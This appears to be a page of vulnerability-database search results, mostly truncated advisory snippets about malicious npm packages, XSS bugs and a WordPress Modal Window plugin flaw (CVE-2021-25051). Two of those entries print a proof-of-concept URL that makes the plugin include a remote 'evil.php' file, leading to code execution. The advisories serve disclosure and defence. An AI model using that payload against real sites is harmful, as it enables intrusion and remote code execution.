Malicious code in editor-with-wrapper-no-modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 51686c2414d61dee9e94ea84369aa9e2aac2ae6984737e6007c2566b8a9ff569 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in ricos-viewer-no-modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 267187e37b6882296c6be2e3e181c04fe91554c4e293f2ba843517b8c24861e8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in ricos-editor-no-modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5e8a7f053bb5cc48e3ba19ffaaaa72dc32fd0f1abbc14f5f39a215d86e8b5575 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-5791 Malicious code in ricos-editor-no-modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5e8a7f053bb5cc48e3ba19ffaaaa72dc32fd0f1abbc14f5f39a215d86e8b5575 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-5793 Malicious code in ricos-viewer-no-modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 267187e37b6882296c6be2e3e181c04fe91554c4e293f2ba843517b8c24861e8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @tinkoff-react-bui/modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 783802d9c19b708d0e12629ff6845be4364fa49987d67dacecdb6bc733d322b3 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

SS CMS 跨站脚本漏洞

SS CMS is a .NET Core-based platform for siteserver individual developers to build a full-featured, high-performance, large-scale and easy-to-maintain website in the shortest possible time at the lowest cost and with the least amount of labor. A cross-site scripting vulnerability exists in SS CMS...

Cross site scripting

A Cross Site Scripting XSS vulnerability exists in Yogesh Ojha reNgine v1.0 via the Scan Engine name file in the Scan Engine deletion confirmation modal box...

WordPress Modal Window plugin cross-site request forgery vulnerability

WordPress is the WordPress Foundation's set of blogging platforms developed using the PHP language. The WordPress Modal Window plugin was vulnerable to cross-site request forgery prior to 5.2.2. The vulnerability stems from the plugin's failure to effectively filter calls to remote file resources...

CVE-2021-25051

The Modal Window WordPress plugin before 5.2.2 within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE...

CVE-2021-25051

The Modal Window WordPress plugin before 5.2.2 within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE...

CVE-2021-25051

The CVE concerns the WordPress Modal Window plugin (before 5.2.2). The vulnerability arises from the wow-company admin page calling include() on arbitrary PHP files (also via data:// or http://), enabling CSRF-driven remote code execution (RCE). Affected versions are before 5.2.2; remediation is ...

CVE-2021-25051 Modal Window < 5.2.2 - RFI leading to RCE via CSRF

The Modal Window WordPress plugin before 5.2.2 within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE...

WordPress plugin跨站请求伪造漏洞

WordPress is the WordPress Foundation's set of blogging platforms developed using the PHP language. The WordPress Modal Window plugin was vulnerable to cross-site request forgery prior to 5.2.2. The vulnerability stems from the plugin's failure to effectively filter calls to remote file resources...

Modal Window < 5.2.2 - RFI leading to RCE via CSRF

The plugin within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE. http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company&tab=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F PHP's...

WordPress Modal Window plugin <= 5.2.1 - Remote File Inclusion (RFI) leading to Remote Code Execution (RCE) via CSRF vulnerability

Remote File Inclusion RFI leading to Remote Code Execution RCE via CSRF vulnerability discovered by Krzysztof Zając in WordPress Modal Window plugin versions = 5.2.1. Solution Update the WordPress Modal Window plugin to the latest available version at least 5.2.2...

Modal Window < 5.2.2 - RFI leading to RCE via CSRF

The plugin within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE. PoC http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F PHP's...

Mozilla Firefox Security Advisory (MFSA2013-37) - Linux

This host is missing a security update for Mozilla Firefox. Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; y...

@atlassian/aui (>=8.2.4 <=9.4.1), @chinchilla-software/ng-date-time-picker (>=1.0.0 <=1.0.1) +129 more potentially affected by CVE-2021-41183 via jquery-ui (>=1.10.4 <=1.12.1)

jquery-ui NPM version =1.10.4, =8.2.4, =1.0.0, =1.0.0, =0.1.0, =2.3.2, =6.4.0, =1.1.42, =5.0.0-110, =0.0.0, =2.1.1, =4.0.0, =1.0.0-alpha.0, =11.0.0, =17.0.0-dev.3 and more Source cves: CVE-2021-41183 Source advisory: OSV:GHSA-J7QV-PGF6-HVH4...

Ditch the Alert Cannon: Modernizing IDS is a Security Must-Do

After more than 20 years of underwhelming results, security leaders have accepted their intrusion detection system IDS programs as no more than a compliance checkoff. It’s no secret that IDS’s reliance on bi-modal signatures is brittle, easily evaded and often referred to as an “alert cannon.” Ti...